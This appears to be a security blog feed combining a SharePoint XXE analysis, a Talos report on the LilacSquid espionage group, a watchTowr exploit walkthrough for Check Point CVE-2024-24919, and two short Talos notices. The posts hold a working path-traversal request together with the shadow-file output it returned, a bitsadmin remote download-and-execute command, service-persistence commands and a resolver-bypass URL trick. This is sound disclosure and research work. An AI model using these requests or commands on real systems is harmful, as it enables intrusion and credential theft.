       a) XML Fetching

At [2], this.FetchData is called and our URL is passed as an input argument. BaseXmlDataSource does not implement this method (it’s an abstract class).

FetchData is implemented in three classes that extend our abstract class:
SoapDataSource - performs HTTP SOAP request and retrieves a response (XML).
XmlUrlDataSource - performs a customizable HTTP request and retrieves a response (XML).
SPXmlDataSource - retrieves an existing specified file on the SharePoint site.

We will revisit those classes later.

       b) XML Parsing

At [3], the xmlReaderSettings.DtdProcessing member is set to DtdProcessing.Prohibit, which should disable the processing of DTDs.

At [4] and [5], the xmlTextReader.XmlResolver is set to a freshly created XmlSecureResolver. The request string, which we fully control, is passed as the securityUrl parameter when creating the XmlSecureResolver

At [6], the code creates a new instance of XmlReader.

Finally, it reads the contents of the XML using a while-do loop at [7].

At first glance, this parsing routine seems correct. The document type definition (DTD) processing of our XmlReaderSettings instance is set to Prohibit, which should block all DTD processing. On the other hand, we have the XmlResolver set to XmlSecureResolver.

From my experience, it is very rare to see .NET code, where:
• DTDs are blocked through XmlReaderSettings.
• Some XmlResolver is still defined.

I decided to play around and sent in a general entity-based payload at some test code I wrote similar to the code shown above (I only replaced XmlSecureResolver with XmlUrlResolver for testing purposes):

As expected, no HTTP request was performed, and a DTD processing exception was thrown. What about this payload?

It was a massive surprise to me, but the HTTP request was performed! According to that, it seems that when you have .NET code where:
XmlReader is used with XmlTextReader and XmlReaderSettings.
XmlReaderSettings.DtdProcessing is set to Prohibit.
• An XmlTextReader.XmlResolver is set.

The resolver will first try to handle the parameter entities, and only afterwards will perform the DTD prohibition check! An exception will be thrown in the end, but it still allows you to exploit the Out-of-Band XXE and potentially exfiltrate data (using, for example, an HTTP channel).

The XXE is there, but we have to solve two mysteries:

• How can we properly fetch the XML payload in SharePoint?
• What’s the deal with this XmlSecureResolver?

XML Fetching and XmlSecureResolver

As I have already mentioned, there are 3 classes that extend our vulnerable BaseXmlDataSource. Their FetchData method is used to retrieve the XML content based on our URL. Then, this XML will be parsed with the vulnerable XML parsing code.

Let’s summarize those 3 classes:

       a) XmlUrlDataSource

       • Accepts URLs with a protocol set to either http or https.
       • Performs an HTTP request to fetch the XML content. This request is customizable. For example, we can select which HTTP method we want to use.
       • Some SSRF protections are implemented. This class won’t allow you to make HTTP requests to local addresses such as 127.0.0.1 or 192.168.1.10. Still, you can use it freely to reach external IP address space.

       b) SoapDataSource

       • Almost identical to the first one, although it allows you to perform SOAP requests only (body must contain valid XML, plus additional restrictions).
       • The same SSRF protections exist as in XmlUrlDataSource.

       c) SPXmlDataSource

       • Allows retrieval of the contents of SharePoint pages or documents. If you have a file test.xml uploaded to the sample site, you can provide a URL as follows: /sites/sample/test.xml.

At this point, those HTTP-based classes look like a great match. We can:
• Create an HTTP server.
• Fetch malicious XML from our server.
• Trigger XXE and potentially read files from SharePoint server.

Let’s test this. I’m creating an XmlUrlDataSource, and I want it to fetch the XML from this URL:

       http://attacker.com/poc.xml

poc.xml contains the following payload:

The plan is simple. I want to test the XXE by executing an HTTP request to the localhost (SSRF).

We must also remember that whatever URL that we specify as our source also becomes the securityUrl of the XmlSecureResolver. Accordingly, this is what will be executed:

Figure 1 XmlSecureResolver initialization

Who cares anyway? YOLO and let’s move along with the exploitation. Unfortunately, this is the exception that appears when we try to execute this attack:

Figure 2 Exception thrown during XXE->SSRF

It seems that “Secure” in XmlSecureResolver stands for something. In general, it is a wrapper around various resolvers, which allows you to apply some resource fetching restrictions. Here is a fragment of the Microsoft documentation:

“Helps to secure another implementation of XmlResolver by wrapping the XmlResolver object and restricting the resources that the underlying XmlResolver has access to.”

In general, it is based on Microsoft Code Access Security. Depending on the provided URL, it creates some resource access rules. Let’s see a simplified example for the http://attacker.com/test.xml:

Figure 3 Simplified sample restrictions applied by XmlSecureResolver

In short, it creates restrictions based on protocol, hostname, and a couple of different things (like an optional port, which is not applicable to all protocols). If we fetch our XML from http://attacker.com, we won’t be able to make a request to http://localhost because the host does not match.

The same goes for the protocol. If we fetch XML from the attacker’s HTTP server, we won’t be able to access local files with XXE, because neither the protocol (http:// versus file://) nor the host match as required.

To summarize, this XXE is useless so far. Even though we can technically trigger the XXE, it only allows us to reach our own server, which we can also achieve with the intended functionalities of our SharePoint sources (such as XmlDataSource). We need to figure out something else.

SPXmlDataSource and URL Parsing Issues

At this point, I was not able to abuse the HTTP-based sources. I tried to use SPXmlDataSource with the following request:

       /sites/mysite/test.xml

The idea is simple. We are a SharePoint user, and we can upload files to some sites. We upload our malicious XML to the http://sharepoint/sites/mysite/test.xml document and then we:
       • Create SPXmlDataSource
       • Set DataFile to /sites/mysite/test.xml.

SPXmlDataSource will successfully retrieve our XML. What about XmlSecureResolver? Unfortunately, such a path (without a protocol) will lead to a very restrictive policy, which does not allow us to leverage this XXE.

It made me wonder about the URL parsing. I knew that I could not abuse HTTP-based XmlDataSource and SoapDataSource. The code was written in C# and it was pretty straightforward to read – URL parsing looked good there. On the other hand, the URL parsing of SPXmlDataSource is performed by some unmanaged code, which cannot be easily decompiled and read.

I started thinking about a following potential exploitation scenario:
       • Delivering a “malformed” URL.
       • SPXmlDataSource somehow manages to handle this URL, and retrieves my uploaded XML successfully.
       • The URL gives me an unrestricted XmlSecureResolver policy and I’m able to fully exploit XXE.

This idea seemed good, and I decided to investigate the possibilities. First, we have to figure out when XmlSecureResolver gives us a nice policy, which allows us to:
       • Access a local file system (to read file contents).
       • Perform HTTP communication to any server (to exfiltrate data).

Let’s deliver the following URL to XmlSecureResolver:

       file://localhost/c$/whatever

Bingo! XmlSecureResolver creates a policy with no restrictions! It thinks that we are loading the XML from the local file system, which means that we probably already have full access, and we can do anything we want.

Such a URL is not something that we should be able to deliver to SPXmlDataSource or any other data source that we have available. None of them is based on the local file system, and even if they were, we are not able to upload files there.

Still, we don’t know how SPXmlDataSource is handling URLs. Maybe my dream attack scenario with a malformed URL is possible? Before even trying to reverse the appropriate function, I started playing around with this SharePoint data source, and surprisingly, I found a solution quickly:

       file://localhost\c$/sites/mysite/test.xml

Let’s see how SPXmlDataSource handles it (based on my observations):

Figure 4 SPXmlDataSource - handling of malformed URL

This is awesome. Such a URL allows us to retrieve the XML that we can freely upload to SharePoint. On the other hand, it gives us an unrestricted access policy in XmlSecureResolver! This URL parsing confusion between those two components gives us the possibility to fully exploit the XXE and perform a file read.

The entire attack scenario looks like this:

Figure 5 SharePoint XXE - entire exploitation scenario

Demo

Let’s have a look at the demo, to visualize things better. It presents the full exploitation process, together with the debugger attached. You can see that:
       • SPXmlDataSource fetches the malicious XML file, even though the URL is malformed.
       • XmlSecureResolver creates an unrestricted access policy.
       • XXE is exploited and we retrieve the win.ini file.
       • “DTD prohibited” exception is eventually thrown, but we were still able to abuse the OOB XXE.

The Patch

The patch from Microsoft implemented two main changes:
       • More URL parsing controls for SPXmlDataSource.
       • XmlTextReader object also prohibits DTD usage (previously, only XmlReaderSettings did that).

In general, I find .NET XXE-protection settings way trickier than the ones that you can define in various Java parsers. This is because you can apply them to objects of different types (here: XmlReaderSettings versus XmlTextReader). When XmlTextReader prohibits the DTD usage, parameter entities seem to never be resolved, even with the resolver specified (that’s how this patch works). On the other hand, when XmlReaderSettings prohibits DTDs, parameter entities are resolved when the XmlUrlResolver is used. You can easily get confused here.

Summary

A lot of us thought that XXE vulnerabilities were almost dead in .NET. Still, it seems that you may sometimes spot some tricky implementations and corner cases that may turn out to be vulnerable. A careful review of .NET XXE-related settings is not an easy task (they are tricky) but may eventually be worth a shot.

I hope you liked this writeup. I have a huge line of upcoming blog posts, but vulnerabilities are waiting for the patches (including one more SharePoint vulnerability). Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

30 May 2024 at 12:01
LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

By Anna Bennett, Nicole Hoffman, Asheer Malhotra, Sean Taylor and Brandon White. 

  • Cisco Talos is disclosing a new suspected data theft campaign, active since at least 2021, we attribute to an advanced persistent threat actor (APT) we’re calling “LilacSquid.”  
  • LilacSquid’s victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.  
  • This campaign uses MeshAgent, an open-source remote management tool, and a customized version of QuasarRAT we’re calling “PurpleInk” to serve as the primary implants after successfully compromising vulnerable application servers exposed to the internet.  
  • This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader.”  
  • The campaign is geared toward establishing long-term access to compromised victim organizations to enable LilacSquid to siphon data of interest to attacker-controlled servers. 

LilacSquid – An espionage-motivated threat actor 

Talos assesses with high confidence that this campaign has been active since at least 2021 and the successful compromise and post-compromise activities are geared toward establishing long-term access for data theft by an advanced persistent threat (APT) actor we are tracking as "LilacSquid" and UAT-4820. Talos has observed at least three successful compromises spanning entities in Asia, Europe and the United States consisting of industry verticals such as pharmaceuticals, oil and gas, and technology. 

Previous intrusions into software manufacturers, such as the 3CX and X_Trader compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.  

We have observed two different types of initial access techniques deployed by LilacSquid, including exploiting vulnerabilities and the use of compromised remote desktop protocol (RDP) credentials. Post-exploitation activity in this campaign consists of the deployment of MeshAgent, an open-source remote management and desktop session application, and a heavily customized version of QuasarRAT that we track as “PurpleInk” allowing LilacSquid to gain complete control over the infected systems. Additional means of persistence used by LilacSquid include the use of open-source tools such as Secure Socket Funneling (SSF), which is a tool for proxying and tunneling multiple sockets through a single secure TLS tunnel to a remote computer. 

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as Andariel and its parent umbrella group, Lazarus. Public reporting has noted Andariel’s use of MeshAgent as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise playbooks to act as channels of secondary access and exfiltration. This tactic has also been seen in this campaign operated by LilacSquid where the threat actor deployed SSF along with other malware to create tunnels to their remote servers. 

LilacSquid’s infection chains 

There are primarily two types of infection chains that LilacSquid uses in this campaign. The first involves the successful exploitation of a vulnerable web application, while the other is the use of compromised RDP credentials. Successful compromise of a system leads to LilacSquid deploying multiple vehicles of access onto compromised hosts, including dual-use tools such as MeshAgent, Secure Socket Funneling (SSF), InkLoader and PurpleInk. 

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk. 

MeshAgent is typically downloaded by the attackers using the bitsadmin utility and then executed to establish contact with the C2: 

bitsadmin /transfer -job_name- /download /priority normal -remote_URL- -local_path_for_MeshAgent-  -local_path_for_MeshAgent- connect 
LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

Instrumenting InkLoader – Modularizing the infection chain 

When compromised RDP credentials were used to gain access, the infection chain was altered slightly. LilacSquid chose to either deploy MeshAgent and subsequent implants, or introduce another component in the infection preceding PurpleInk.  

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants. 

Talos observed LilacSquid deploy InkLoader in conjunction with PurpleInk only when they could successfully create and maintain remote sessions via remote desktop (RDP) by exploiting the use of stolen credentials to the target host. A successful login via RDP leads to the download of InkLoader and PurpleInk, copying these artifacts into desired directories on disk and the subsequent registration of InkLoader as a service that is then started to deploy InkLoader and, in turn, PurpleInk. The infection chain can be visualized as: 

LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

Service creation and execution on the endpoint is typically done via the command line interface using the commands: 

sc create TransactExDetect displayname=Extended Transaction Detection binPath= _filepath_of_InkLoader_ start= auto 
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts 
sc start TransactExDetect 

PurpleInk – LilacSquid's bespoke implant 

PurpleInk, LilacSquid’s primary implant of choice, has been adapted from QuasarRAT, a popular remote access trojan family. Although QuasarRAT has been available to threat actors since at least 2014, we observed PurpleInk being actively developed starting in 2021 and continuing to evolve its functionalities separate from its parent malware family.  

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server’s address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk. 

PurpleInk is a highly versatile implant that is heavily obfuscated and contains a variety of RAT capabilities. Talos has observed multiple variants of PurpleInk where functionalities have both been introduced and removed. 

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host: 

  • Enumerate the process and send the process ID, name and associated Window Title to the C2. 
  • Terminate a process ID (PID) specified by the C2 on the infected host. 
  • Run a new application on the host – start process. 
  • Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format. 
  • Enumerate a given directory to obtain underlying directory names, file names and file sizes. 
  • Read a file specified by the C2 and exfiltrate its contents. 
  • Replace or append content to a specified file. 
LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader
  • Gather system information about the infected host using WMI queries. Information includes:  

Information retrieved 

WMI query and output used 

Processor name 

SELECT * FROM Win32_Processor 

Memory (RAM) size in MB 

Select * From Win32_ComputerSystem | TotalPhysicalMemory 

Video Card (GPU) 

SELECT * FROM Win32_DisplayConfiguration | Description 

Username 

Current username 

Computer name 

Infected host’s name 

Domain name 

Domain of the infected host 

Host name 

NetBIOS Host name 

System drive 

Root system drive 

System directory 

System directory of the infected host 

Computer uptime 

Calculate uptime from current time and SELECT * FROM Win32_OperatingSystem WHERE Primary='true' | LastBootUpTime 

MAC address 

By enumerating Network interfaces on the endpoint 

LAN IP address 

By enumerating Network interfaces on the endpoint 

WAN IP address 

None – not retrieved or calculated – empty string sent to C2. 

Antivirus software name 

Not calculated – defaults to “NoInfo 

Firewall 

Not calculated – defaults to “NoInfo 

Time zone 

Not calculated – an empty string is sent to the C2. 

Country 

Not calculated – an empty string is sent to the C2. 

ISP 

Not calculated – an empty string is sent to the C2. 

  • Start a remote shell on the infected host using ‘ cmd[.]exe /K ’. 
  • Rename or move directories and files and then enumerate them. 
  • Delete files and directories specified by the C2. 
  • Connect to a specified remote address, specified by the C2. This remote address referenced as “Friend” internally is the reverse proxy host indicating that PurpleInk can act as an intermediate proxy tool. 

PurpleInk has the following capabilities related to communicating with its “friends” (proxy servers): 

  • Connect to a new friend whose remote address is specified by the C2. 
  • Send data to a new or existing friend. 
  • Disconnect from a specified friend. 
  • Receive data from another connected friend and process it. 

Another PurpleInk variant, built and deployed in 2023 and 2024, consists of limited functionalities, with much of its capabilities stripped out. The capabilities that still reside in this variant are the abilities to: 

  • Close all connections to proxy servers. 
  • Create a reverse shell.  
  • Connect and send/receive data from connected proxies. 

Functionalities, such as file management, execution and gathering system information, have been stripped out of this variant of PurpleInk, but can be supplemented by the reverse shell carried over from previous variants, which can be used to carry out these tasks on the infected endpoint. Adversaries frequently strip, add and stitch together functionalities to reduce their implant’s footprint on the infected system to avoid detection or to improve their implementations to remove redundant capabilities.  

InkBox – Custom loader observed in older attacks 

InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process. This second assembly is the backdoor PurpleInk. The overall infection chain in this case is: 

LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader.”  

LilacSquid employs MeshAgent 

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the MeshCentral, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses: 

MeshName=-Name_of_mesh- 
MeshType=-Type_of_mesh- 
MeshID=0x-Mesh_ID_hex- 
ServerID=-Server_ID_hex- 
MeshServer=wss://-Mesh_C2_Address-
Translation=-keywords_translation_JSON-

Being a remote device management utility, MeshAgent allows an operator to control almost all aspects of the device via the MeshCentral server, providing capabilities such as: 

  • List all devices in the Mesh (list of victims). 
  • View and control desktop. 
  • Manage files on the system. 
  • View software and hardware information about the device.  

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.  

Coverage 

Ways our customers can detect and block this threat are listed below. 

LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.   

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

IOCs

IOCs for this research can also be found at our GitHub repository here

PurpleInk 

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 

Network IOCs 

67[.]213[.]221[.]6 

192[.]145[.]127[.]190 

45[.]9[.]251[.]14 

199[.]229[.]250[.]142 

Check Point - Wrong Check Point (CVE-2024-24919)

30 May 2024 at 01:57
Check Point - Wrong Check Point (CVE-2024-24919)

Gather round, gather round - it’s time for another blogpost tearing open an SSLVPN appliance and laying bare a recent in-the-wild exploited bug. This time, it is Check Point who is the focus of our penetrative gaze.

Check Point, for those unaware, is the vendor responsible for the 'CloudGuard Network Security' appliance, yet another device claiming to be secure and hardened. Their slogan - "you deserve the best security" - implies a level of security that can be relied upon on in their products.

We thought we'd take a look inside their appliance, and we recently got a great opportunity to do so, in the shape of CVE-2024-24919. This is a 'high' priority bug, which (according to the CVE itself) falls under the category of Exposure of Sensitive Information to an Unauthorized Actor. Check Point advise that the bug is under active exploitation, and give the following summary (among other advice):

The vulnerability potentially allows an attacker to read certain information on Gateways once connected to the Internet and enabled with Remote Access VPN or Mobile Access.

No bug class here, just a very vague and hand-wavey description. We wondered exactly what 'certain information' meant, in this context - does it mean we can read session tokens? Or the configuration of the device? Password hashes? (spoiler: it's actually much worse than this). There wasn't much information floating around the Internet about the bug, so we set out to find out just how bad it is, so that we could share details with device administrators who need to make that all-important patch-or-no-patch decision.

Patch-Diffing time

This bug seems like a prime candidate for patch-diffing, in which the vulnerable and the patched systems are compared to reveal details about the patch itself, and thus the bug.

As ever, the first hurdle in this is obtaining the patched version of the software. While the patches linked from the advisory are locked behind a login form, we found the appliance itself would fetch patches without any credentials, and so we duly installed the patch and cataloged the resultant files, in order to compare each and every file with its pre-patch brethren.

We didn’t need to go to such lengths, though, as examining the appliance filesystem, we soon found the .tgz file containing the update itself inside a temporary directory. Great! Popping it open, we found a load of boring installation scripts, and a promising-sounding file named sslvpn.full , an ELF binary. At least we don’t need to stare at brain-numbing PHP code this time - it’s a binary file so we get to look at lovely x86 disassembly instead. Yummy.

$ find -exec file {} \\;
...
./CheckPoint#fw1#All#6.0#5#1#HOTFIX_R80_40_JHF_T211_BLOCK_PORTAL_MAIN/fw1/bin/vpn.full: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, BuildID[sha1]=9484c3b95be69aa112042766793877d466fe9626, stripped
...

We duly threw the vulnerable and patched versions of the file into IDA, and used Diaphora to observe the differences. Right away, something stood out to us (vulnerable code is on the left, patched on the right):

Check Point - Wrong Check Point (CVE-2024-24919)
O_o

Hurm, interesting - new code has been added, which is logging the string “Suspected path traversal attack from”. It seems a pretty safe bet that the bug is actually a path traversal.

Poking around in the code, we can see that a new logging function has been added, named send_path_traversal_alert_log , and if we look just a little bit deeper, we also find the new function sanitize_filename , which calls the new logging function. If we look at what references sanitize_filename itself, we are presented with a single caller - a large function that has the autogenerated name sub_80F09E0. If we search again for references to this large function, our persistence is rewarded, as we find it is passed to the function cpHttpSvc_register_query along with the HTTP path /clients/MyCRL, strongly implying it is the handler for this endpoint.

Check Point - Wrong Check Point (CVE-2024-24919)

This is great - we’re only a few minutes into our analysis, and already we’ve discovered some vital clues! Firstly, we are pretty sure we’re looking for a path traversal bug, and secondly, we’ve got a strong suspicion that it affects the endpoint /clients/MyCRL.

A little investigation reveals that this endpoint is designed to serve static files from a location on the filesystem. The files can be specified via the URI itself, in the form of /clients/MyCRL/file_to_get, or via the POST body. We experimented with this somewhat, and found some interesting-but-useless weirdness in the server - adding certain control characters into the URL (such as /clients/MyCRL/test%0Atest) would hang the request, and the error handling that detected escaped NULL bytes seemed questionable, too, as parts of the request servicing code would be executed despite dire warnings generated in the log. Nothing we tried in the URL path generated anything that looked like a controlled file read, though.

Attempting to add path traversal elements such as .. in the URL bore no fruit, as the webserver would handle them correctly - but what about the POST body? That is exempt from the webserver's path handling code. We tried adding the usual ../../etc/passwd payload , but were soon met with disappointment, as all we received was a measly 404. The server logs showed that the appliance was indeed refusing to serve our path:

[vpnd 29382 4082644928]@i-022337f52dc65ca35[30 May  3:02:00][slim] http_get_CCC_callback: Invalid filename: /opt/CPsuite-R80.40/fw1//../../etc/passwd

No good! How do we work out what’s happening, and elevate ourselves beyond blind guesses? Why, by taking a look at that big sub_80F09E0 , of course!

Understanding the decompiled code

The large handler function may seem daunting, but it is actually pretty straightforward. Switching to the vulnerable version of the code, we can see from a quick skim that it performs file I/O, given away by the telltale references to _fopen and _fread - this is undoubtedly the place to find our bug. But what is it doing?

It is slightly difficult to see what the code is doing because of the unusual way that it references string resources, which IDA doesn’t pick up. Take a look at the following code snippet:

Check Point - Wrong Check Point (CVE-2024-24919)

What’s happening here? Well, the code is comparing something (the URL the user requested) with a number of hardcoded strings, located in a string table. IDA doesn’t know where the string table is, but GDB can tell us at runtime - it turns out to be here:

Check Point - Wrong Check Point (CVE-2024-24919)

Easy enough - the code is checking if the user is requesting any of the files in the list, and will only permit the download if it matches. But there’s a ‘bug’ in this code. Can you spot it?

That’s right! The bug isn’t anything complex or involved, it lies in the developer’s use of the strstr function. This function, as C gurus will know, doesn’t compare two strings outright, but searches one string for another string. This immediately got the gears turning in our head - can we abuse this sloppy matching to traverse, simply by requesting a relative path that includes one of the strings from the table? As long as one of the strings is present inside the path, the check will pass and the file will be served.

Well, it turns out we can’t. We can supply paths such as icsweb.cab/../../etc/passwd, but the OS isn’t dumb, and will fail to find the file, complaining that icsweb.cab is a file, and not a directory. We’re close, though - I can almost taste it! Let’s keep looking at that code.

Check Point - Wrong Check Point (CVE-2024-24919)

Here’s a very similar chunk of code, found just underneath the first. Again, we’re iterating a string table, and comparing with the requested URL. Again, we pull out GDB, and take a look at the string table it is using:

Check Point - Wrong Check Point (CVE-2024-24919)

Short but sweet. We got very excited when we saw this entry - can you see why?

Yes, exactly! Because of the slash at the end of the string. That suggests that this entry isn’t a file, but a directory, which would mean we can traverse into it and then back out via the venerable .. . As long as we have the string CSHELL/ somewhere in the requested file, the request will be accepted, right?

Well, we tried, and with bated breath submitted the following request:

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

We were rewarded with the contents of requested file.

HTTP/1.0 200 OK
Date: Thu, 30 May 2024 01:38:29 GMT
Server: Check Point SVN foundation
Content-Type: text/html
X-UA-Compatible: IE=EmulateIE7
Connection: close
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Length: 505

admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8:::
monitor:*:19872:0:99999:8:::
root:*:19872:0:99999:7:::
nobody:*:19872:0:99999:7:::
postfix:*:19872:0:99999:7:::
rpm:!!:19872:0:99999:7:::
shutdown:*:19872:0:99999:7:::
pcap:!!:19872:0:99999:7:::
halt:*:19872:0:99999:7:::
cp_postgres:*:19872:0:99999:7:::
cpep_user:*:19872:0:99999:7:::
vcsa:!!:19872:0:99999:7:::
_nonlocl:*:19872:0:99999:7:::
sshd:*:19872:0:99999:7:::

There we go! A path traversal leading to an arbitrary file read! Since we are able to read such a critical file - the shadow password file - we must be running as the superuser, and able to read anything on the filesystem we choose.

Wait, what?!

At this point, we were somewhat confused. What we’d found is an arbitrary file read, allowing us to read any file on the system. This is much more powerful than the vendor advisory seems to imply.

We rushed to patch our box, and confirm that we had indeed found CVE-2024-24919, and not some other bug, and were mildly surprised that, yes, this is CVE-2024-24919, and yes, it is an arbitrary file read.

Interestingly, the vendor states that the issue only affects devices with username-and-password authentication enabled, and not with the (much stronger) certificate authentication enabled. Looking at the code, we can’t see any obvious reason for this, and we do wonder if a user who has a valid certificate can exploit the issue even when password authentication is disabled.

We were also somewhat amused by the vendor’s remediation advice, which includes this gem:

To prevent attempt to exploit this vulnerability, you must protect the vulnerable Remote Access gateway behind a Security Gateway with both IPS and SSL Inspection enabled.

Obvious grammar errors aside, the advice to place your hardened border gateway device behind another hardened border gateway device gave us a chuckle.

Conclusions

That bug wasn't too difficult to find, and was extremely easy to exploit once we’d located it (full exploitation is left as an exercise for the reader - we wouldn’t want to take all the fun out of the bug).

We’re a little concerned by the vendor’s statement, though - it seems to downplay the severity of this bug. Since the bug is already being used in the wild, by real attackers, it seems dangerous for the bug to be treated as anything less than a full unauthenticated RCE, with device administrators urged to update as soon as humanely possible. They state:

The vulnerability potentially allows an attacker to access information on Gateways connected to the Internet

This is quite a confusing statement, given that Internet connectivity is not a requirement. The words 'access information' are doing some seriously heavy lifting here, as while they may be technically correct, in the most pedantic sense of the word, they minimize what is, in all reality, a very serious bug which should be treated as 'world ending' (at least, by those administrators who do not have a second Check Point device protecting their actual Check Point device).

The vendor, Check Point, have released ‘hotfix’ for the bug, which administrators are instructed to apply if they are affected (refer to the vendor advisory for details).

Check Point - Wrong Check Point (CVE-2024-24919)

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

New Generative AI category added to Talos reputation services

29 May 2024 at 16:32
New Generative AI category added to Talos reputation services

Cisco Talos is preparing to release the first in a series of changes to our Web Categorization system, which is designed to simplify the verbiage we use. 

In mid-June, we're adding a new “Generative AI” category that will apply to certain websites. The “Content Category” appears whenever a user searches for a domain on the TalosIntelligence.com Reputation Center.  

Generative AI applies to any site “whose primary purpose is to use artificial intelligence models to generate output in the form of text, audio, video or images based on user-supplied prompts.” This does not include “technologies which tangentially use generative AI as part of their service.” 

We are also renaming “DOT & DOH” to “Encrypted DNS” to better reflect what this category includes.  

Prior to these updates, we recommend revisiting your acceptable use and security policies to see if these changes may affect your current operations. 

As we evolve to better understand data, threats, and user behavior, we will continue to improve our intelligence, providing you the ability to make more informed decisions to keep your network safe without becoming prohibitive to your users. Please stay tuned for additional planned changes to our Content Categories in the coming weeks and months. 

For detailed information on the current Content and Threat Categories, please visit the Intelligence and Threat Categories page. 

The Generative AI category will be available in a future release of Meraki, Secure Access and Umbrella.  

Out-of-bounds reads in Adobe Acrobat; Foxit PDF Reader contains vulnerability that could lead to SYSTEM-level privileges

29 May 2024 at 16:07
Out-of-bounds reads in Adobe Acrobat; Foxit PDF Reader contains vulnerability that could lead to SYSTEM-level privileges

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software.

Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application.

There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments.

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.

Out-of-bounds read vulnerabilities in Adobe Acrobat

Discovered by KPC.

Adobe Acrobat Reader contains two out-of-bounds read vulnerabilities in its Font feature that could lead to the disclosure of sensitive information.

TALOS-2024-1946 (CVE-2024-30311) and TALOS-2024-1952 (CVE-2024-30312) are triggered if the targeted user opens an attacker-created PDF that contains a specially embedded font.

